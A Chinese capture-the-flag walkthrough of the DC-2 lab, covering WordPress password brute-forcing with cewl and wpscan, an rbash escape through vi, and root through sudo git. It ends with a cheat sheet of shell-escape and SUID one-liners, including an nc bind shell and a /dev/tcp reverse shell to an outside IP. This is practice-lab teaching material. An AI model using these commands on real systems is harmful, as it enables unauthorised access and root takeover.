小H靶场学习笔记:DC-2

DC-2

Created: November 10, 2023 3:01 PM
Tags: WordPress, git提权, rbash逃逸
Owner: 只会摸鱼

靶场过程

信息收集

  • 扫描存活主机,找到靶机ip:192.168.199.131(本机是192.168.199.129)
    在这里插入图片描述

  • 扫描端口开放协议

    在这里插入图片描述

    • 发现有80端口和7744,但80端口有重定向,尝试直接访问无法访问。 因重定向页面为http://dc-2/,固修改/etc/hosts文件,将靶机ip绑定在该网址,再次直接访问,可正常跳转。
      在这里插入图片描述
      在这里插入图片描述
  • 指纹识别
    在这里插入图片描述

    • 可尝试利用WordPress4.7的漏洞
    • 使用msf模块利用无果
  • 返回页面查看是否有其他信息提示

    • 发现了页面提供了flag提示信息
      在这里插入图片描述
      在这里插入图片描述

    • 提示了使用cewl 得到字典, 使用尝试使用身份登录

    kali密码攻击工具——Cewl使用指南 | 码农网

漏洞利用

  • 后台目录爆破一下,发现有login页面,访问一下,跳转到登陆页面。

在这里插入图片描述

在这里插入图片描述

  • 使用cewl输出字典,到文件dicts.txt
    在这里插入图片描述

  • 因使用的是WordPress,可使用专门针对此CMS的工具WPScan进行枚举用户名,并爆破。

    • 枚举用户名,得到三个用户。
      在这里插入图片描述
      在这里插入图片描述
  • 逐个对三个用户进行密码爆破。

    • wpscan --url dc-2 -U ‘admin,jerry,tom’ -P ~/Desktop/dicts.txt
      在这里插入图片描述

    • 只有jerry 和tom爆破出了密码

  • 尝试登录,jerry登陆成功,找到第二个flag
    在这里插入图片描述

    • 翻译一下,让寻找其他切入点,没办法,只剩下了7744端口的ssh服务了

在这里插入图片描述

提权

  • 尝试ssh登录,使用jerry和tom账号,使用jerry账号和密码,无论怎么尝试都无法登录,尝试使用tom账号和密码,成功登录。

    在这里插入图片描述

    • 尝试一些命令,发现都没有权限
      在这里插入图片描述
  • 应该是rbash,尝试rbash逃逸

    • 查看有哪些命令权限
      在这里插入图片描述

    • 使用vi设置shell

      • 直接输入vi进入编辑器页面,按esc+:输入命令set shell=/bin/bash回车后在输入:shell
        在这里插入图片描述
        在这里插入图片描述

      • 回车后会弹出如下页面,即成功,接下来要配置环境变量以正常执行命令。
        在这里插入图片描述

      • 配置完,即可正常执行shell命令
        在这里插入图片描述

      • 查看flag3文件,发现提示,让使用登录tom后用su命令切换到jerry

        在这里插入图片描述

      • 使用jerry的密码尝试登陆,发现成*
        在这里插入图片描述

  • 查找flag文件

    • find / -name “*flag*”
      在这里插入图片描述

    • 找到了flag4,得到了提示, git 提权
      在这里插入图片描述

    • 使用sudo git help config打开config页面

      • 输入!/bin/bash

        在这里插入图片描述

    • 回车后,弹出root交互shell,即成功,找到最后的flag读出。

      在这里插入图片描述

rbash逃逸

rbash是什么

它与一般shell的区别在于会限制一些行为,让一些命令无法执行。

简单理解就是最低权限的用户

如何设置rbash

cp /bin/bash /bin/rbash # 复制一个bash,重命名为rbash
useradd -s /bin/rbash test # 设置用户test登陆的shell为rbash
mkdir -p /home/test/.bin # 在test用户下新建一个.bin目录存放可以执行的命令

逃逸方法

枚举Linux环境(为逃逸rbash做信息收集)

echo $PATH # 弹出当前PATH环境变量

echo 路径+ /* #路径使用最后为bin目录的,以找到当前所有可以执行的程序命令

常用逃逸技术

nmap

适用版本:nmap2.02至5.21

在早期nmap版本中,带有交互模式,因而允许用户执行shell命令

使用如下命令进入nmap交互模式:

nmap --interactive

在nmap交互模式中 通过如下命令提权

nmap> !sh

msf当中也有利用nmap进行提权的模块

exploit/unix/local/setuid_nmap

find

find比较常用,find用来在系统中查找文件。同时,它也有执行命令的能力。 因此,如果配置为使用SUID权限运行,则可以通过find执行的命令都将以root身份去运行。

提权如下:

#进入shell
find anyfile -exec '/bin/sh' \; 或者 find anyfile -exec '/bin/bash' \;
#其中find 常用
find / -exec '/bin/bash' \; 或者 find / -exec '/bin/sh' \;

linux一般都安装了nc 我们也可以利用nc 广播或反弹shell

广播shell:

find user -exec nc -lvp 4444 -e '/bin/sh' \; 
#或者
find user -exec nc -lvp 4444 -e '/bin/bash' \; 

在攻击机上:

nc 靶机ip 4444

反弹shell

find anyfile -exec bash -c 'bash -i >& /dev/tcp/114.xxx.xxx.96/4444 0>&1' \;

在攻击机上:

nc -lvvp 4444

Vim

vim的主要用途是做编辑器,是,如果以SUID运行,它将继承root用户的权限,因此可以读取系统上的所有文件。

vim.tiny  /etc/passwd

通过vim进入shell

vim.tiny
#vim命令
:set shell = '/bin/sh'
:shell

设置环境变量

export PATH=$PATH:/bin/
export PATH=$PATH:/usr/bin/

Vi

通过vi进入shell

vi
#vi命令
:set shell = '/bin/sh' 或者 :set shell='/bin/bash'
:shell

设置环境变量

export PATH=$PATH:/bin/
export PATH=$PATH:/usr/bin/

Bash

  • 方法一

BASH_CMDS设置shell

BASH_CMDS[x]=/bin/bash
#设置了个x变量shell
x
#相当于执行shell

设置一下环境变量

export PATH=$PATH:/bin/export PATH=$PATH:/usr/bin/
  • 方法二

以下命令将以root身份打开一个bash shell。

bash -p
bash-3.2# id
uid=1002(service) gid=1002(service) euid=0(root) groups=1002(service)

less

less命令也可以进入shell

less /etc/passwd
#在less中输入:
!/bin/sh 或者 !/bin/bash

more

more命令进入shell和less相同

more /etc/passwd
#在more中输入:
!/bin/sh 或者 !/bin/bash

要注意的是使用more和less一定读取一个比较大的文件,如果文件太小无法进入翻页功能也就无法使用!命令进入shell

nano

nano也算是比较上古的文本编辑器了

nano进入shell的方法为

nano #进入nano编辑器
Ctrl + R
Ctrl + X
#即可输入命令

cp

使用cp 命令覆盖原来的/etc/passwd文件

awk

awk命令进入shell:

awk 'BEGIN {system("/bin/bash")}'

Git提权

  • 前提是执行sudo -l 提示不需要密码可以使用git命令

    在这里插入图片描述

方法一

sudo git help config #在末行命令模式直接输入 
!/bin/bash 或 !'sh' #完成提权

方法二

在这里插入图片描述

sudo git -p help #弹出help信息窗口
!/bin/bash #输入后,即可打开一个用户为root的shell

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/142328.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

2023nacos源码解读第3集——nacos-client核心功能之微服务调用和配置管理测试

文章目录 1、测试项目2、项目注意事项3、 测试核心功能3.1 测试服务调用与负载均衡3.2 测试配置监听 4、参考文档 1、测试项目 项目地址 nacos-service-a nacos-service-b 2、项目注意事项 项目初始化可以使用aliyun spring initializer ,以更方便的使用springcloud alibaba…

hive里因为列名用了关键字导致建表失败

代码 现象 ParseException line 6:4 cannot recognize input near percent String COMMENT in column name or primary key or foreign key 23/11/13 11:52:57 ERROR org.apache.hadoop.hive.ql.Driver: FAILED: ParseException line 6:4 cannot recognize input near percent …

雷达测角原理、测角精度、测角分辨率以及3DFFT角度估计算法汇总

1.角度测量方法 依据:电磁波的直线传播和雷达天线的方向性。 分类:振幅法测角、相位法测角 1.1 相位法测角 相位法测角利用多个天线所接收回波信号之间的相位差进行测角。如下图所示; 图 1 设在θ方向有一远区目标,则到达接收点…

一个破单机,也要用远程缓存?

大家好,豆小匠终于开始Coding了,这期来聊聊实战相关的杂谈。 正文开始! 作为编程萌新的时候,总想着把程序做复杂,堆技术栈。 但是程序是为场景服务的,比如,我想提高接口的响应速度&#xff0c…

Linux应用层点亮硬件的LED灯

一 应用层操作硬件的两种方法 应用层想要对底层硬件进行操控,通常可以通过两种方式: /dev/目录下的设备文件(设备节点);/sys/目录下设备的属性文件。 具体使用哪种方式需要根据不同功能类型设备进行选择,通…

vscode设置vue3代码格式化

vscode设置vue3代码格式化 vscode设置vue3代码格式化 下载插件设置格式化时选用的插件实际使用 使用Prettier默认配置使用Prettier添加自定义配置使用Volar 完整配置文件参考链接 下载插件 可以使用Volar或Prettier 设置格式化时选用的插件 mac:【shift】【op…

【C++】类与对象 I

类与对象 I : 前言:(C)面向过程 和(C)面向对象 初步认识前言:类的引入一、类的介绍二、类的定义(一)class 语法(二)类的两种定义方式:…

【MySql系列】深入解析数据库索引

写在前面 MySQL索引是数据库中一个关键的概念,它可以极大地提高查询性能,加快数据检索速度。但是,要充分发挥索引的作用,需要深入理解它们的工作原理和使用方式。 在本文中,我们将深入解析MySQL索引,探讨它…

JavaWeb——CSS3的使用

目录 1. CSS概述 2. CSS引入方式 3. CSS颜色显示 4. CSS选择器 4.1. 元素(标签)选择器 4.2. id选择器 4.3. 类选择器 4.4. 三者优先级 5. 盒子模型 1. CSS概述 CSS,全称为“Cascading Style Sheets”,中文译为“层叠样式…

OpenMediaVault控制台web页面密码重置

要重置 OpenMediaVault(OMV)Web 控制台的密码,可以使用 omv-firstaid 命令行工具中的相应选项。按照以下步骤进行操作: 以管理员权限登录到 OMV 的命令行界面(通过 SSH 或直接登录)。 ssh登陆到root用户 运…

【数据仓库】数仓分层方法详解与层次调用规范

文章目录 一. 数仓分层的意义1. 清晰数据结构。2. 减少重复开发3. 方便数据血缘追踪4. 把复杂问题简单化5. 屏蔽原始数据的异常6. 数据仓库的可维护性 二. 如何进行数仓分层?1. ODS层2. DW层2.1. DW层分类2.2. DWD层2.3. DWS 3. ADS层 4、层次调用规范 一. 数仓分层…

25.4 MySQL 函数

1. 函数的介绍 1.1 函数简介 在编程中, 函数是一种组织代码的方式, 用于执行特定任务. 它是一段可以被重复使用的代码块, 通常接受一些输入(参数)然后返回一个输出. 函数可以帮助开发者将大型程序分解为更小的, 更易于管理的部分, 提高代码的可读性和可维护性.函数在编程语言…

[01]汇川IMC30G-E系列运动控制卡应用笔记

简介 IMC30G-E系列产品是汇川技术自主研制的高性能EtherCAT网络型运动控制器(卡),同时兼容脉冲轴的控制;IMC30G-E支持点位/JOG、插补、多轴同步、高速位置比较输出、PWM等全面的运动控制功能,具备高同步控制精度。 开发…

修改Openwrt软路由的web端口

如何修改openwrt路由器的web访问端口号? 在OpenWrt路由器上,如何修改Web访问端口号,通常涉及到修改HTTP服务器的配置文件。默认情况下,OpenWrt使用的HTTP服务器是uHTTPd。 以下是修改Web访问端口号的步骤: 一、通过…

Linux编辑器:vim的简单介绍及使用

目录 1.什么是vim 2.vim的基本概念 3.vim 的基本操作 4. 各模式下的命令集 4.1 正常模式命令集 4.2 末行模式命令集 5.补充 5.1 vim支持多文件编辑 5.2 vim 的配置 1.vim 配置原理 2. 常用简单配置选项: 3. 使用插件 1.什么是vim Vim 是从 vi 发展出…

Easyui DataGrid combobox联动下拉框内容

发票信息下拉框联动,更具不同的发票类型,显示不同的税率 专票 普票 下拉框选择事件 function onSelectType(rec){//选中值if (rec2){//普通发票对应税率pmsPlanList.pmsInvoiceTaxRatepmsPlanList.pmsInvoiceTaxRateT}else {//专用发票对应税率pmsPlan…

nmap原理与使用

kali的命令行中可以直接使用 nmap 命令,打开一个「终端」,输入 nmap 后回车,可以看到 nmap 的版本,证明 nmap 可用。 一、端口扫描 扫描主机的「开放端口」,在nmap后面直接跟主机IP(默认扫描1000个端口&am…

SQL使用

--天空会的像哭过,离开你以后 并没有更自由 SQL进行数据的删除 一、删除delete 语法 delete [from] 表名称 where 条件数据删除,不能删除某一列,因为删除是对记录而言 2.1 删除是一条一条删除,每次删除都会将操作写入日志文件 删…

个体诊所电子处方系统设计,诊所电子处方模板,药店电子处方系统,佳易王电子处方管理系统V16.0下载

个体诊所电子处方系统设计,诊所电子处方模板,药店电子处方系统,佳易王电子处方管理系统V16.0下载 软件支持配方模板,病人病历记录查询等,软件打印处方单所用的纸张为 A5纸。软件可以下载试用,点击最下方官网…

C++设计实现日志系统

转载:C设计实现日志系统 - 知乎 (zhihu.com) 日志系统几乎是每一个实际的软件项目从开发、测试到交付,再到后期的维护过程中极为重要的 查看软件代码运行流程、 还原错误现场、 记录运行错误位置及上下文等的重要依据。一个高性能的日志系统&#xff0c…